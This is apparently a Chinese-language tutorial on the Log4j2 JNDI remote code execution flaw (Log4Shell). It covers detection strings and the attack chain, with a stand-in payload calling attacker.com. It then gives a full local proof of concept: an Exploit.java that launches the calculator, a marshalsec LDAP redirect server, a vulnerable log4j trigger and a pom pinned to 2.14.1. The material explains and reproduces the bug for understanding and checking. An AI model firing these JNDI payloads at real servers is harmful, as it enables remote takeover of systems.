背景
最近,互联网上曝出了 Apache Log4j2 中的远程代码执行漏洞,攻击者可利用此漏洞构造特殊的数据请求包,最终触发远程代码执行。
要知道,绝大部分的Java应用用的都是Log4j的包记录日志,而很多互联网公司用的是Log4j2,据“白帽”分析确认,几乎所有技术巨头如百度等都是该 Log4j 远程代码执行漏洞的受害者。
漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含[关键词] ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。
由于 Apache Log4j2 的某些函数具有递归分析函数,因此攻击者可以直接构造恶意请求来触发远程代码执行漏洞。
Apache Log4j2
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
漏洞检测方案
1、通过流量监测设备监控是否有相关 DNSLog 域名的请求
2、通过监测相关日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
漏洞详情:
Apache Log4j 远程代码执行漏洞 严重程度: 严重由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置**漏洞情况分析:**Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
漏洞编号:暂缺漏洞
等级: 高危,该漏洞影响范围极广,危害极大。
CVSS评分: 10(最高级)
漏洞状态:
受影响的版本: Apache log4j2 2.0 - 2.14.1 版本均受影响。
安全版本: Apache log4j-2.15.0-rc2
触发过程
- 用户发送数据到服务器,不管什么协议,http也好,别的也好
- 服务器记录用户请求中的数据,数据中包含恶意payload:
${jndi:ldap://attacker.com/a}
,其中attacker.com是攻击者的服务器 - log4j向attacker.com发送请求(jndi)时触发漏洞,因为有个
$
符号 - log4j收到的jndi响应中包含一个java class文件路径,比如是
http://second-stage.attacker.com/Exploit.class
,这个class文件会被log4j所运行在的服务器加载运行 - 第4步中注入的java class文件中的代码是攻击者的攻击代码
本地windows环境复现操作
1. 注入程序(脚本)准备
编译Exploit.java,该注入程序为打开计算器操作
1
2
3
4
| git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java
|
Exploit.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| public class Exploit {
public Exploit() {}
static {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"open","/System/Applications/Calculator.app"};
java.lang.Runtime.getRuntime().exec(cmds).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
}
|
2. 启动fileserver
服务url:127.0.0.1:8989/files , fileserver同目录下有tmp放置files,这里放了Exploit.class
fileserver 是自己用go写的httpserver,端口:8989,用于文件下载
1
2
3
| $ ./fileserver
2021/12/14 16:51:27 Server started on localhost:8989, use ./tmp for uploading files and /files/{fileName} for downloading
|
3. 编译运行marshalsec工具
启动LDAPRefServer , 重定向到 http://127.0.0.1:8989/files/#Exploit
1
2
3
4
5
6
| git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8989/files/#Exploit"
|
启动后,监听1389端口
1
2
3
| $ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8989/files/#Exploit"
Listening on 0.0.0.0:1389
|
4. 本地IDE环境运行log4j
说明: 如果log4j.java 同目录下放置了Exploit.java 则不需要运行fileserver提供Exploit.class
log4j.java
1
2
3
4
5
6
7
8
9
10
11
12
13
| import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
//The default trusturlcodebase of the higher version JDK is false
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}
}
|
5. 运行界面
重定向到hacker提供的服务
执行hacker的注入程序或脚本
6. log4j项目pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
|
漏洞检查
根据项目使用log方式,运行log实例检查,看是否会触发Exploit程序执行。如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
| String jndiErr = "${jndi:ldap://127.0.0.1:1389/Exploit}"
// case 1.
log.error(jndiErr);
// case 2.
logger = ...
logger.error(jndiErr);
// case 3.
Logger = ...
Logger.error(jndiErr);
// ...
|
附录
试试CVE-2021-44228 log4j2 rce